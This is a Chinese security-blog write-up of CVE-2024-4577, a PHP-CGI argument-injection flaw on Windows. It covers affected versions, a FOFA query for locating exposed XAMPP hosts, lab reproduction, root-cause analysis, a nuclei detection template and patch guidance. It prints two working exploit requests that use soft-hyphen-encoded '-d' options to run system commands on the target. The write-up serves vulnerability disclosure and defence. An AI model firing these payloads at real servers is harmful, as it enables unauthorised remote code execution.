freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2024-4577 PHP-cgi高危漏洞利用
2024-12-30 22:21:36
所属地 陕西省

漏洞概况

CVE-2024-4577漏洞是由于PHP 在设计时并未充分考虑到 Windows 系统中对字符转换的 "Best-Fit" 特性。当 PHP-CGI(PHP 的通用网关接口实现,常用于 Windows 平台的 Web 服务器)在 Windows 平台上运行时,特别是在使用如中文等语系时,攻击者有可能利用这一特性构造恶意请求。
这些恶意请求能够绕过 CVE-2012-1823 补丁的防护措施,导致攻击者可在 PHP 服务器上执行任意 PHP 代码

漏洞影响范围

PHP Windows版 8.3.0 <= 影响版本 < 8.3.8
PHP Windows版 8.2.0 <= 影响版本 < 8.2.20
PHP Windows版 8.1.0 <= 影响版本 < 8.1.29
PHP Windows版 影响版本 == 8.0.x
PHP Windows版 影响版本 == 7.x
PHP Windows版 影响版本 == 5.x
XAMPP Windows版 8.2.0 <= 影响版本 <= 8.2.12
XAMPP Windows版 8.1.0 <= 影响版本 <= 8.1.25
XAMPP Windows版 影响版本 == 8.0.x
XAMPP Windows版 影响版本 == 7.x
XAMPP Windows版 影响版本 == 5.x
Windows操作系统执行在以下语系时:
繁体中文(字码页950)
简体中文(字码页936)
日文(字码页932)

需要注意:对于其它执行在英文、韩文、西欧语系之下的Windows 作业系统,由于PHP 使用情境广泛、暂无法完全列举并排除其利用情境,因此还是建议使用者全面盘点资产、确认使用情境并更新PHP 至最新版本确保万无一失!
(fofa测绘语句:body="Welcome to XAMPP for Windows ")
image.png

复现环境

Windows 10 22H2(内部版本:19045.4412)
XAMPP Windows版本 8.2.12
Windows语系(活动代码页:936)简体中文
注:如何查看当前Windows操作系统的语系(活动代码页):
Windows环境下打开cmd窗口执行chcp指令即可查看当前 Windows的活动代码页
image.png

漏洞复现

安装XAMPP Windows之后,开启Apache环境,尝试访问默认环境:

image.png
访问默认环境(无需修改配置):
f6fe2cfe4dc74022fcf5f0b5b7bc4fd.png

POC一 构造

BP发送构造POC如下:

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: 192.168.220.3 Content-Length: 26

<?php system("dir");?>

b7fb0d17152d737c05a367ed5131e16.png

POC二构造

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1 Host: 192.168.220.3 REDIRECT-STATUS: XCANWIN Content-Length: 26

<?php system("dir");?>

02b468d0c66cd371c68224813915760.png

漏洞分析

该漏洞本质上是对CVE-2012-1823的绕过利用。漏洞CVE-2012-1823的主要漏洞点是:当php以php-cgi模式运行时,用户请求的参数querystring将会被视为php-cgi的运行参数执行(RFC3875 中规定,当querystring中不包含没有解码的=号的情况下,要将querystring作为cgi的参数传入。所以,Apache服务器按要求实现了这个功能)
通过参数-d可以用于指定配置项,设定参数allow_url_include、auto_prepend_file制造任意文件包含漏洞,从而实现远程代码执行的效果。

-d allow ur include=on   控制允许在include、include_once、require、require_once等函数中使用URL作为文件名,可以远程url加载执行php代码。
-d auto_prepend file=php://input    php://input流通常用于读取POST数据,而-d auto_prepend_file则指定了包含的php脚本为POST输入。

而后,官方修复该漏洞方式为将"-“过滤,从而无法拼接参数
本漏洞的利用方法就是通过带入参数拼接前,宽字节会被转换这一特性,bestfit936 GBK编码中0x00ad会被解析为0x002d,也就是字符"-"。
也因此,该漏洞只会影响含繁体中文、简体中文、日文这三个语言版本的windows系统。
php-cgi.exe的执行参数如下:
28b5004365ab6d5fc0260970d7fb54a.png

漏洞扫描

可以通过版本比对以及漏洞POC两种方式对漏洞是否存在进行检测

版本识别方法:

XAMPP服务器响应中会包含服务版本信息,可以通过脚本自动化排除漏洞版本服务器

POC识别方法

参考nuclei检测规则

info:
  name: PHP CGI - Argument Injection
  author: Hüseyin TINTAŞ,sw0rk17,securityforeveryone,pdresearch
  severity: critical
  reference:
    - https://cloud.tencent.com/developer/article/2429455
  description: |
    PHP CGI - Argument Injection (CVE-2024-4577) is a critical argument injection flaw in PHP.
  impact: |
    Successful exploitation could lead to remote code execution on the affected system.
  remediation: |
    Apply the vendor-supplied patches or upgrade to a non-vulnerable version.
  metadata:
    verified: true
  tags: cve,cve2024,php,cgi,xampp,rce

http:
  - method: POST
    path:
      - "{{BaseURL}}/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
      - "{{BaseURL}}/index.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
      - "{{BaseURL}}/test.php?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"
      - "{{BaseURL}}/test.hello?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input"

    body: |
      <?php echo md5("CVE-2024-4577"); ?>

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - "3f2ba4ab3b260f4c2dc61a6fac7c3e8a"

修复方案

  • 版本升级

升级至如下版本号即可: 
PHP 8.3 >= 8.3.8 
PHP 8.2 >= 8.2.20 
PHP 8.1 >= 8.1.29    
PHP官方网站:https://www.php.net/downloads.php
  • 2.对于使用 XAMPP for Windows 的用户,按照以下操作步骤进行调整:
    如果确认不需要 PHP CGI 功能,可以通过修改以下 Apache HTTP Server 配置来避免受到该漏洞的影响:C:/xampp/apache/conf/extra/httpd-xampp.conf(此处以默认安装位置进行示例操作,实际需要结合用户实际文件位置修改)
    找到相应的行:将其注释
    ScriptAlias /php-cgi/"C:/xampp/php/"

# web安全 # 漏洞分析 # 0day漏洞分析 # 漏洞分析与复现
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录